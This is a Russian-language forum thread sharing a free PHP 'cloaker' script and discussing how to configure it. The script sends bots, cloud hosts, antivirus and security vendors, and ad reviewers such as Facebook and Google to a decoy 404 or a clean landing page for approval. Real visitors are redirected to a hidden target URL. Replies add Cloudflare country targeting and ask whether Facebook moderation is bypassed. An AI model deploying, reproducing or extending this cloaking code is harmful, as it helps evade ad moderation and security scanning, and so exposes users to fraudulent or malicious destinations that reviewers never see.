Бесплатная клоака для трафика/отстука.

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49
Создать 2 файла:
index.php
PHP:
<?php

error_reporting(0);

### CONFIG ###
$CHECK_IPS_KEY = "key_free";
$work = 1; # 1 - ON / 0 - OFF, all send bad_reguest
$good_url = "http://www.google.com/"; # URL send OK
##############

###
function good_reguest($good_url){
    header('Location: '.$good_url);
    exit();
}
#
function bad_reguest(){
    include "bad_reguest.php";
    exit();
}
###

###
if($work == 0){
    bad_reguest();
    exit();
}
###

###
$GLOBAL_IP = $_SERVER['REMOTE_ADDR'];
$GLOBAL_UA = urlencode($_SERVER['HTTP_USER_AGENT']);
#
$CHECK_IPS_KEY = "key_free";
$CHECK_IPS_API_BOT = "http://checkbot.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
$CHECK_IPS_API_ISP = "http://checkisp.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
###

if( ### Check USER_AGENT

    strpos($GLOBAL_UA, urlencode('http://')) !== false ||
    strpos($GLOBAL_UA, urlencode('Catchpoint')) !== false ||
    strpos($GLOBAL_UA, urlencode('Python')) !== false ||
    strpos($GLOBAL_UA, urlencode('Crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('Spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('Bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('BOT')) !== false ||
    strpos($GLOBAL_UA, urlencode('bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('ips-agent')) !== false ||
    strpos($GLOBAL_UA, urlencode('zgrab')) !== false ||
    strpos($GLOBAL_UA, urlencode('Netcraft')) !== false ||
    strpos($GLOBAL_UA, urlencode('BingPreview')) !== false ||
    strpos($GLOBAL_UA, urlencode('evc-batch')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wget')) !== false ||
    strpos($GLOBAL_UA, urlencode('CheckHost')) !== false ||
    strpos($GLOBAL_UA, urlencode('HostTracker')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wappalyzer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Hstpnetwork')) !== false ||
    strpos($GLOBAL_UA, urlencode('Genieo')) !== false ||
    strpos($GLOBAL_UA, urlencode('Yahoo')) !== false ||
    strpos($GLOBAL_UA, urlencode('A6-Indexer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Windows NT 5.2')) !== false
    #ADD MORE
 
){
    bad_reguest();
} else {
 
    if ( ### Check CHECK_IPS_API_BOT
    strpos(file_get_contents($CHECK_IPS_API_BOT), 'BOT') !== false
    ){
        bad_reguest();
    } else {
     
        ### Check CHECK_IPS_API_ISP
        $GET_ISP = file_get_contents($CHECK_IPS_API_ISP);
        if (

        strpos($GET_ISP, 'Hosting') !== false ||
        strpos($GET_ISP, 'hosting') !== false ||
        strpos($GET_ISP, 'HOSTING') !== false ||
        strpos($GET_ISP, 'cloud') !== false ||
        strpos($GET_ISP, 'Cloud') !== false ||
        strpos($GET_ISP, 'CLOUD') !== false ||
        strpos($GET_ISP, 'Vps') !== false ||
        strpos($GET_ISP, 'VPS') !== false ||
        strpos($GET_ISP, 'Dedicated') !== false ||
        strpos($GET_ISP, 'Zscaler') !== false ||
        strpos($GET_ISP, 'ScanSafe') !== false ||
        strpos($GET_ISP, 'Google') !== false ||
        strpos($GET_ISP, 'Amazon') !== false ||
        strpos($GET_ISP, 'Microsoft') !== false ||
        strpos($GET_ISP, 'WANSecurity') !== false ||
        strpos($GET_ISP, 'Yahoo') !== false ||
        strpos($GET_ISP, 'Baidu') !== false ||
        strpos($GET_ISP, 'YANDEX') !== false ||
        strpos($GET_ISP, 'Yandex') !== false ||
        strpos($GET_ISP, 'Mail.RU') !== false ||
        strpos($GET_ISP, 'Mail.Ru') !== false ||
        strpos($GET_ISP, 'Cisco') !== false ||
        strpos($GET_ISP, 'OpenDNS') !== false ||
        strpos($GET_ISP, 'AVIRA') !== false ||
        strpos($GET_ISP, 'Avira') !== false ||
        strpos($GET_ISP, 'ESET') !== false ||
        strpos($GET_ISP, 'Kaspersky') !== false ||
        strpos($GET_ISP, 'Bitdefender') !== false ||
        strpos($GET_ISP, 'Sucuri') !== false ||
        strpos($GET_ISP, 'DRWEB') !== false ||
        strpos($GET_ISP, 'AVAST') !== false ||
        strpos($GET_ISP, 'Bullguard') !== false ||
        strpos($GET_ISP, 'COMODO') !== false ||
        strpos($GET_ISP, 'Comodo') !== false ||
        strpos($GET_ISP, 'F-Secure') !== false ||
        strpos($GET_ISP, 'Fortinet') !== false ||
        strpos($GET_ISP, 'McAfee') !== false ||
        strpos($GET_ISP, 'Norton') !== false ||
        strpos($GET_ISP, 'Panda') !== false ||
        strpos($GET_ISP, 'PayPal') !== false ||
        strpos($GET_ISP, 'Symantec') !== false ||
        strpos($GET_ISP, 'Facebook') !== false ||
        strpos($GET_ISP, 'SurfControl') !== false ||
        strpos($GET_ISP, 'IKARUS') !== false ||
        strpos($GET_ISP, 'Ikarus') !== false ||
        strpos($GET_ISP, 'Security') !== false ||
        strpos($GET_ISP, 'Webroot') !== false ||
        strpos($GET_ISP, 'Trend Micro') !== false ||
        strpos($GET_ISP, 'Sophos') !== false ||
        strpos($GET_ISP, 'Unithost') !== false ||
        strpos($GET_ISP, 'SURFnet') !== false ||
        strpos($GET_ISP, 'DREAMLINE CO.') !== false ||
        strpos($GET_ISP, 'Alibaba') !== false ||
        strpos($GET_ISP, 'Advertising') !== false ||
        strpos($GET_ISP, 'Outbrain') !== false ||
        strpos($GET_ISP, 'Airespring') !== false ||
        strpos($GET_ISP, 'MegaPath') !== false ||
        strpos($GET_ISP, 'Intelligence') !== false ||
        strpos($GET_ISP, 'LG DACOM Corporation') !== false ||
        strpos($GET_ISP, 'Trustwave') !== false ||
        strpos($GET_ISP, 'Palo Alto Networks') !== false ||
        strpos($GET_ISP, 'Palo Alto Unified School District') !== false ||
        strpos($GET_ISP, 'Internet Archive') !== false ||
        strpos($GET_ISP, 'Tierpoint') !== false ||
        strpos($GET_ISP, 'TruVista') !== false
        #ADD MORE
     
        )
        {
            bad_reguest();
        } else {
            good_reguest($good_url);
        }

    }
 
}

exit();

?>
bad_reguest.php (сюда можно положить оригинальный код вашего лендинга для аппрува, дефолт код ниже)
PHP:
<?php
    header("HTTP/1.0 404 Not Found");
    echo "404 Not Found";
?>

Сделано на CHECK-IPS.NET - IPs-Data API
 
Последнее редактирование:

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49
404 Not Found
Время выполнения скрипта: 0.0351 сек.
GO REDIRECT
Время выполнения скрипта: 0.0667 сек.
 

RedValentino

CD-диск
Пользователь
Регистрация
12.12.2018
Сообщения
17
Реакции
2
Баллы
4
предлагаю в API добвить возврат страны/региона опционально
чтобы еще проверку делать вроде такой
PHP:
$myCountry = 'US'; // Таргетируем если US  трафик онли
if ($myCountry != $_REQUEST['country']) {
    bad_request();
}
 

timbo

RAM
Пользователь
Регистрация
19.09.2019
Сообщения
104
Реакции
192
Баллы
44
что то туплю,вроде елементарно,но как настроить этот скрипт?куда что писать
 

Jeffs

RAM
Пользователь
Регистрация
28.12.2018
Сообщения
149
Реакции
89
Баллы
23
что то туплю,вроде елементарно,но как настроить этот скрипт?куда что писать
Впиши в good_request() вместо гугла редирект куда тебе нужно, вот и вся настройка, вроде как
 

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49
Обновил первый пост.

предлагаю в API добвить возврат страны/региона опционально
чтобы еще проверку делать вроде такой
PHP:
$myCountry = 'US'; // Таргетируем если US  трафик онли
if ($myCountry != $_REQUEST['country']) {
    bad_request();
}
Вешаешь cloudflare над VPS
Включаешь настройку:
ip geolocation.png
И твоя проблема решена, не надо модули подключать/обновлять базы и т.д
$country_code = $_SERVER["HTTP_CF_IPCOUNTRY"];

При использовании CloudFlare не забудь сменить в index.php
$GLOBAL_IP = $_SERVER['REMOTE_ADDR'];
На нужное))
 
Последнее редактирование:

Dtramp

(L3) cache
Пользователь
Регистрация
03.08.2019
Сообщения
209
Реакции
118
Баллы
44
Jabber
FB пропускает через такую клоаку?
 

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49

timbo

RAM
Пользователь
Регистрация
19.09.2019
Сообщения
104
Реакции
192
Баллы
44

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49

timbo

RAM
Пользователь
Регистрация
19.09.2019
Сообщения
104
Реакции
192
Баллы
44
Что именно не работает? Твой ип не в бане?)
просто белая страница и все, ip не в бане,я ставил на локалхосте,может в настройках open server что то не так сделал,попробую сейчас на фри хостинге поставить
 

Robert0008

HDD-drive
Пользователь
Регистрация
20.02.2020
Сообщения
23
Реакции
-3
Баллы
7
просто белая страница и все, ip не в бане,я ставил на локалхосте,может в настройках open server что то не так сделал,попробую сейчас на фри хостинге поставить
аналогично "просто белая страница"
 

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49
Не использую open server, смотрите на веб хостинге.
Либо правьте чего у вас там, убрав error_reporting(0);
 

10494657

HDD-drive
Пользователь
Регистрация
06.03.2019
Сообщения
26
Реакции
17
Баллы
3

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49

Robert0008

HDD-drive
Пользователь
Регистрация
20.02.2020
Сообщения
23
Реакции
-3
Баллы
7
Не использую open server, смотрите на веб хостинге.
Либо правьте чего у вас там, убрав error_reporting(0);
Все проверил, просто белая страница, но редирект работает если вручную подключать
 

SUB_ID

Премиум
Premium
Регистрация
09.01.2016
Сообщения
137
Реакции
139
Депозит
1
Баллы
49

Robert0008

HDD-drive
Пользователь
Регистрация
20.02.2020
Сообщения
23
Реакции
-3
Баллы
7
Я не ванга, без полного описания ошибки ничего сказать не могу :)
Ошибок нет просто белая страница, я уже и на хост заливал, тоже самое. И версию пхп менял, ничего не изменилось(
 
Верх